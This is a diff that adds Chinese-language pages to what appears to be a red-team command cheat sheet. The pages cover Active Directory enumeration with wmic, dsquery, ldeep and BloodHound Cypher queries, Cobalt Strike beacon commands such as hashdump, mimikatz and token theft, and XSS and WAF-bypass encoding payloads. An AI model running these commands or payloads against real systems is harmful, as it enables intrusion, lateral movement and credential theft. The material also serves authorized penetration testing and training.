221
+ **Step 0**
222
+ > 查询和创建进程
223
+ _platform: windows_
224
+ ```
225
+ wmic process list brief
226
+ wmic process where name="cmd.exe" get processid,commandline
227
+ wmic process call create "cmd.exe /c whoami > C:\temp\out.txt"
228
+ ```
229
+
230
+ **Step 0**
231
+ > 查询服务信息
232
+ _platform: windows_
233
+ ```
234
+ wmic service list brief
235
+ wmic service where "startmode='auto' and state='stopped'" get name,startname
236
+ ```
237
+
238
+ **Step 0**
239
+ > 远程WMI命令执行
240
+ _platform: windows_
241
+ ```
242
+ wmic /node:target_ip /user:admin /password:pass process call create "cmd.exe /c whoami"
243
+ ```
244
+
245
+ **Step 0**
246
+ > 列出已安装软件和补丁
247
+ _platform: windows_
248
+ ```
249
+ wmic product get name,version
250
+ wmic qfe list
251
+ ```
252
+
253
+ ---
254
+
255
+ ### DSQuery命令 `dsquery`
256
+ _Active Directory查询命令行工具_
257
+
258
+ **Step 0**
259
+ > 查询域用户(所有/管理员/不活跃)
260
+ _platform: windows_
261
+ ```
262
+ dsquery user -limit 0
263
+ dsquery user -name *admin*
264
+ dsquery user -inactive 4
265
+ ```
266
+ **语法解析:**
267
+ - `dsquery user` — 查询AD用户对象 _command_
268
+ - `-limit 0` — 不限制返回数量 _parameter_
269
+
270
+ **Step 0**
271
+ > 查询域内计算机对象
272
+ _platform: windows_
273
+ ```
274
+ dsquery computer -limit 0
275
+ dsquery computer -name *server*
276
+ ```
277
+
278
+ **Step 0**
279
+ > 查询域组及成员
280
+ _platform: windows_
281
+ ```
282
+ dsquery group -name "Domain Admins"
283
+ dsquery group | dsget group -members
284
+ ```
285
+
286
+ **Step 0**
287
+ > 查询组织单位结构
288
+ _platform: windows_
289
+ ```
290
+ dsquery ou
291
+ dsquery * "DC=domain,DC=com" -filter "(objectclass=organizationalUnit)" -attr name
292
+ ```
293
+
294
+ **Step 0**
295
+ > 自定义LDAP过滤器查询特权用户
296
+ _platform: windows_
297
+ ```
298
+ dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0
299
+ ```
300
+
301
+ ---
302
+
303
+ ### AD Explorer `adexplorer`
304
+ _Sysinternals出品的Active Directory浏览器和快照工具_
305
+
306
+ **Step 0**
307
+ > 连接到Active Directory进行浏览
308
+ _platform: windows_
309
+ ```
310
+ ADExplorer.exe
311
+ # 输入DC地址: dc.domain.com
312
+ # 输入凭证: domain\user / password
313
+ # 或使用当前域凭证直连
314
+ ```
315
+
316
+ **Step 0**
317
+ > 创建AD数据库离线快照(可用BloodHound分析)
318
+ _platform: windows_
319
+ ```
320
+ ADExplorer.exe -snapshot "" output.snp
321
+ # 或在GUI中: File > Create Snapshot
322
+ ```
323
+
324
+ **Step 0**
325
+ > 对比两个快照发现AD变更
326
+ _platform: windows_
327
+ ```
328
+ # GUI操作: File > Compare
329
+ # 选择两个时间点的快照文件
330
+ # 对比AD变更(新用户/权限变更等)
331
+ ```
332
+
333
+ ---
334
+
335
+ ### ldeep `ldeep`
336
+ _LDAP深度枚举工具,用于从Linux远程查询AD信息_
337
+
338
+ **Step 0**
339
+ > 枚举域用户
340
+ ```
341
+ ldeep ldap -u user -p password -d domain.com -s dc_ip users
342
+ ldeep ldap -u user -p password -d domain.com -s dc_ip users -v
343
+ ```
344
+ **语法解析:**
345
+ - `ldap` — 使用LDAP协议连接 _parameter_
346
+ - `-s` — LDAP服务器地址 _parameter_
347
+
348
+ **Step 0**
349
+ > 枚举组和组策略对象
350
+ ```
351
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip groups
352
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip gpo
353
+ ```
354
+
355
+ **Step 0**
356
+ > 查询委派配置和域信任关系
357
+ ```
358
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations
359
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip trusts
360
+ ```
361
+
362
+ **Step 0**
363
+ > 查询密码策略
364
+ ```
365
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip pso
366
+ ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols
367
+ ```
368
+
369
+ ---
370
+
371
+ ### BloodHound Cypher `bloodhound-cypher`
372
+ _BloodHound Neo4j Cypher查询语句集合_
373
+
374
+ **Step 0**
375
+ > 查找指定用户到域管的最短攻击路径
376
+ ```
377
+ MATCH p=shortestPath((n:User {name:"USER@DOMAIN.COM"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})) RETURN p
378
+ ```
379
+
380
+ **Step 0**
381
+ > 查找可进行Kerberoasting的用户
382
+ ```
383
+ MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN u.name, u.serviceprincipalnames
384
+ ```
385
+
386
+ **Step 0**
387
+ > 查找可进行AS-REP Roasting的用户
388
+ ```
389
+ MATCH (u:User {dontreqpreauth:true}) RETURN u.name
390
+ ```
391
+
392
+ **Step 0**
393
+ > 查找所有具有本地管理员权限的用户
394
+ ```
395
+ MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
396
+ ```
397
+
398
+ **Step 0**
399
+ > 查找配置了无约束委派的计算机
400
+ ```
401
+ MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
402
+ ```
403
+
404
+ **Step 0**
405
+ > 查找可利用的ACL权限关系
406
+ ```
407
+ MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN p
408
+ ```
409
+
410
+ ---
@@ -0,0 +1,64 @@
1
+ # 红队工具
2
+
3
+ _1 条工具命令_
4
+
5
+ ### Cobalt Strike `cobaltstrike-tool`
6
+ _红队渗透测试框架_
7
+
8
+ **Step 0**
9
+ > 启动团队服务器
10
+ _platform: linux_
11
+ ```
12
+ ./teamserver ip password [C2配置文件]
13
+ ```
14
+
15
+ **Step 0**
16
+ > 生成可执行Payload
17
+ ```
18
+ Attacks -> Packages -> Windows Executable
19
+ ```
20
+
21
+ **Step 0**
22
+ > 添加监听器
23
+ ```
24
+ Cobalt Strike -> Listeners -> Add
25
+ ```
26
+
27
+ **Step 0**
28
+ > Beacon常用命令
29
+ ```
30
+ shell whoami
31
+ ps
32
+ hashdump
33
+ mimikatz
34
+ ```
35
+
36
+ **Step 0**
37
+ > SMB Beacon横向
38
+ _platform: windows_
39
+ ```
40
+ beacon> link target_ip
41
+ ```
42
+
43
+ **Step 0**
44
+ > 启动SOCKS代理
45
+ _platform: windows_
46
+ ```
47
+ beacon> socks 1080
48
+ ```
49
+
50
+ **Step 0**
51
+ > 窃取进程令牌
52
+ _platform: windows_
53
+ ```
54
+ beacon> steal_token PID
55
+ ```
56
+
57
+ **Step 0**
58
+ > 以其他用户运行
59
+ _platform: windows_
60
+ ```
61
+ beacon> runas domain\user password command
62
+ ```
63
+
64
+ ---
@@ -0,0 +1,226 @@
1
+ # 编码解码
2
+
3
+ _6 条工具命令_
4
+
5
+ ### Base64编码 `base64-encode`
6
+ _Base64编码/解码命令集合_
7
+
8
+ **Step 0**
9
+ > 各平台Base64编码方法
10
+ ```
11
+ # Linux:
12
+ echo -n "payload" | base64
13
+ base64 file.txt > encoded.txt
14
+
15
+ # Windows PowerShell:
16
+ [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("payload"))
17
+
18
+ # Python:
19
+ python3 -c "import base64; print(base64.b64encode(b'payload').decode())"
20
+ ```
21
+
22
+ **Step 0**
23
+ > 各平台Base64解码方法
24
+ ```
25
+ # Linux:
26
+ echo "cGF5bG9hZA==" | base64 -d
27
+ base64 -d encoded.txt > decoded.txt
28
+
29
+ # Windows PowerShell:
30
+ [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cGF5bG9hZA=="))
31
+
32
+ # Python:
33
+ python3 -c "import base64; print(base64.b64decode('cGF5bG9hZA==').decode())"
34
+ ```
35
+
36
+ **Step 0**
37
+ > URL安全的Base64编码(+/替换为-_)
38
+ ```
39
+ # Python:
40
+ import base64
41
+ base64.urlsafe_b64encode(b"payload").decode()
42
+ base64.urlsafe_b64decode("cGF5bG9hZA==").decode()
43
+ ```
44
+
45
+ ---
46
+
47
+ ### URL编码 `url-encode`
48
+ _URL编码/解码命令集合_
49
+
50
+ **Step 0**
51
+ > URL编码方法(单次/双重)
52
+ ```
53
+ # Python:
54
+ python3 -c "from urllib.parse import quote; print(quote('<script>alert(1)</script>'))"
55
+
56
+ # 双重编码:
57
+ python3 -c "from urllib.parse import quote; print(quote(quote('<script>alert(1)</script>')))"
58
+
59
+ # CyberChef在线: https://gchq.github.io/CyberChef/
60
+ ```
61
+
62
+ **Step 0**
63
+ > URL解码方法
64
+ ```
65
+ # Python:
66
+ python3 -c "from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))"
67
+
68
+ # Linux:
69
+ printf '%b' "\x3Cscript\x3E"
70
+ ```
71
+
72
+ ---
73
+
74
+ ### Hex编码 `hex-encode`
75
+ _十六进制编码/解码命令集合_
76
+
77
+ **Step 0**
78
+ > 十六进制编码方法
79
+ ```
80
+ # Linux:
81
+ echo -n "payload" | xxd -p
82
+ echo -n "payload" | od -A n -t x1 | tr -d " \n"
83
+
84
+ # Python:
85
+ python3 -c "print('payload'.encode().hex())"
86
+ python3 -c "print('\\x'.join([hex(ord(c))[2:] for c in 'payload']))"
87
+ ```
88
+
89
+ **Step 0**
90
+ > 十六进制解码方法
91
+ ```
92
+ # Linux:
93
+ echo "7061796c6f6164" | xxd -r -p
94
+
95
+ # Python:
96
+ python3 -c "print(bytes.fromhex('7061796c6f6164').decode())"
97
+ ```
98
+
99
+ **Step 0**
100
+ > 在SQL注入和XSS中使用十六进制编码
101
+ ```
102
+ # SQL注入中使用:
103
+ SELECT 0x61646D696E -- "admin"
104
+
105
+ # XSS中使用:
106
+ <img src=x onerror=\x61\x6c\x65\x72\x74(1)>
107
+ ```
108
+
109
+ ---
110
+
111
+ ### HTML编码 `html-encode`
112
+ _HTML实体编码/解码命令集合_
113
+
114
+ **Step 0**
115
+ > HTML实体编码(命名/十进制/十六进制)
116
+ ```
117
+ # Python:
118
+ python3 -c "import html; print(html.escape('<script>alert(1)</script>'))"
119
+
120
+ # 数字编码:
121
+ python3 -c "print(''.join(['&#'+str(ord(c))+';' for c in '<script>alert(1)</script>']))"
122
+
123
+ # 十六进制HTML编码:
124
+ python3 -c "print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))"
125
+ ```
126
+
127
+ **Step 0**
128
+ > HTML实体解码
129
+ ```
130
+ # Python:
131
+ python3 -c "import html; print(html.unescape('&lt;script&gt;alert(1)&lt;/script&gt;'))"
132
+ ```
133
+
134
+ **Step 0**
135
+ > XSS绕过常用的HTML实体对照
136
+ ```
137
+ # 常用HTML实体:
138
+ # < => &lt; 或 &#60; 或 &#x3c;
139
+ # > => &gt; 或 &#62; 或 &#x3e;
140
+ # " => &quot; 或 &#34; 或 &#x22;
141
+ # ' => &apos; 或 &#39; 或 &#x27;
142
+ # & => &amp; 或 &#38; 或 &#x26;
143
+ ```
144
+
145
+ ---
146
+
147
+ ### Unicode编码 `unicode-encode`
148
+ _Unicode编码/解码命令集合_
149
+
150
+ **Step 0**
151
+ > Unicode各种编码形式
152
+ ```
153
+ # Python Unicode转义:
154
+ python3 -c "print(''.join(['\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))"
155
+ # 输出: \u0061\u006c\u0065\u0072\u0074
156
+
157
+ # UTF-8字节:
158
+ python3 -c "print('alert'.encode('utf-8'))"
159
+ ```
160
+
161
+ **Step 0**
162
+ > Unicode解码方法
163
+ ```
164
+ # Python:
165
+ python3 -c "print('\\u0061\\u006c\\u0065\\u0072\\u0074'.encode().decode('unicode_escape'))"
166
+
167
+ # JavaScript:
168
+ console.log("\u0061\u006c\u0065\u0072\u0074")
169
+ ```
170
+
171
+ **Step 0**
172
+ > 使用Unicode编码绕过WAF/过滤
173
+ ```
174
+ # JavaScript Unicode绕过:
175
+ <script>\u0061\u006c\u0065\u0072\u0074(1)</script>
176
+
177
+ # Overlong UTF-8编码:
178
+ # / => %c0%af (可绕过路径过滤)
179
+ # . => %c0%ae
180
+ ```
181
+
182
+ ---
183
+
184
+ ### JWT解码 `jwt-decode`
185
+ _JWT(JSON Web Token)解码和分析工具_
186
+
187
+ **Step 0**
188
+ > 使用在线工具解码JWT
189
+ ```
190
+ # 在线工具:
191
+ # https://jwt.io
192
+ # https://token.dev
193
+ # 粘贴JWT即可查看Header和Payload
194
+ ```
195
+
196
+ **Step 0**
197
+ > 使用Python命令行解码JWT
198
+ ```
199
+ # Python:
200
+ python3 -c "
201
+ import base64, json, sys
202
+ token = sys.argv[1]
203
+ parts = token.split('.')
204
+ for i, part in enumerate(parts[:2]):
205
+ padded = part + '=' * (4 - len(part) % 4)
206
+ decoded = base64.urlsafe_b64decode(padded)
207
+ print(json.dumps(json.loads(decoded), indent=2))
208
+ " YOUR_JWT_HERE
209
+ ```
210
+
211
+ **Step 0**
212
+ > JWT结构分析和安全检查要点
213
+ ```
214
+ # JWT结构: Header.Payload.Signature
215
+ # Header: {"alg":"HS256","typ":"JWT"}
216
+ # Payload: {"sub":"1234","name":"user","iat":1516239022}
217
+ # Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
218
+
219
+ # 检查要点:
220
+ # 1. alg是否可改为none
221
+ # 2. 密钥是否为弱密码
222
+ # 3. 是否可将RS256改为HS256
223
+ # 4. exp是否已过期
224
+ ```
225
+
226
+ ---